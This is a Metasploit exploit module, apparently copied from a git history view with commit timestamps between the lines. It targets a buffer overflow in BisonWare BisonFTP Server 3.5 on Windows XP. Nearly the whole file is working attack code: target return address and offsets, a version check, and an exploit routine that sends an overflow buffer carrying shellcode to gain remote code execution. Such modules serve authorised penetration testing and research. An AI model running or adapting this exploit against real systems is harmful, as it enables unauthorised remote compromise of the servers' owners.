metasploit-framework/modules/exploits/windows/ftp/bison_ftp_bof.rb

92 lines
2.3 KiB
Ruby
Raw Normal View History

2015-11-20 01:07:40 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2015-11-20 01:07:40 +00:00
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
2015-11-25 04:54:52 +00:00
'Name' => 'BisonWare BisonFTP Server Buffer Overflow',
'Description' => %q{
2015-11-20 01:07:40 +00:00
BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
This module exploits a buffer overflow vulnerability in the said
application.
},
2015-11-25 04:54:52 +00:00
'Platform' => 'win',
'Author' =>
2015-11-20 01:07:40 +00:00
[
'localh0t', # initial discovery
2015-11-20 05:37:46 +00:00
'veerendragg @ SecPod', # initial msf
2015-11-20 01:07:40 +00:00
'Jay Turla' # msf
],
2015-11-25 04:54:52 +00:00
'License' => MSF_LICENSE,
'References' =>
2015-11-20 01:07:40 +00:00
[
[ 'CVE', '1999-1510'],
[ 'BID', '49109'],
[ 'EDB', '17649'],
[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']
],
2015-11-25 04:54:52 +00:00
'Privileged' => false,
2015-11-20 01:07:40 +00:00
'DefaultOptions' =>
{
'VERBOSE' => true
},
2015-11-25 04:54:52 +00:00
'Payload' =>
2015-11-20 01:07:40 +00:00
{
2015-11-25 04:54:52 +00:00
'Space' => 310,
'BadChars' => "\x00\x0a\x0d",
2015-11-25 03:17:07 +00:00
'StackAdjustment' => -3500,
2015-11-20 01:07:40 +00:00
},
2015-11-25 04:54:52 +00:00
'Targets' =>
2015-11-20 01:07:40 +00:00
[
[ 'Bisonware FTP Server / Windows XP SP3 EN',
{
2015-11-25 04:54:52 +00:00
'Ret' => 0x0040333f,
'Offset' => 1028,
'Nops' => 404
2015-11-20 01:07:40 +00:00
}
],
],
2015-11-25 04:54:52 +00:00
'DefaultTarget' => 0,
2015-11-20 01:07:40 +00:00
'DisclosureDate' => 'Aug 07 2011'))
end
def check
connect_login
disconnect
if /BisonWare BisonFTP server product V3\.5/i === banner
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
connect
print_status('Triggering the prompt for an unregistered product')
sock.put('')
print_status('Disconnecting...')
disconnect
print_status('Connecting for the second time to deliver our payload...')
connect #connect for the second time
2015-11-20 05:37:46 +00:00
buf = rand_text_alpha(target['Offset'])
2015-11-20 01:07:40 +00:00
buf << payload.encoded
buf << make_nops( (target['Nops']) - payload.encoded.length)
2015-11-20 01:07:40 +00:00
buf << [target.ret].pack('V')
print_status('Sending payload...')
sock.put(buf)
handler
disconnect
end
end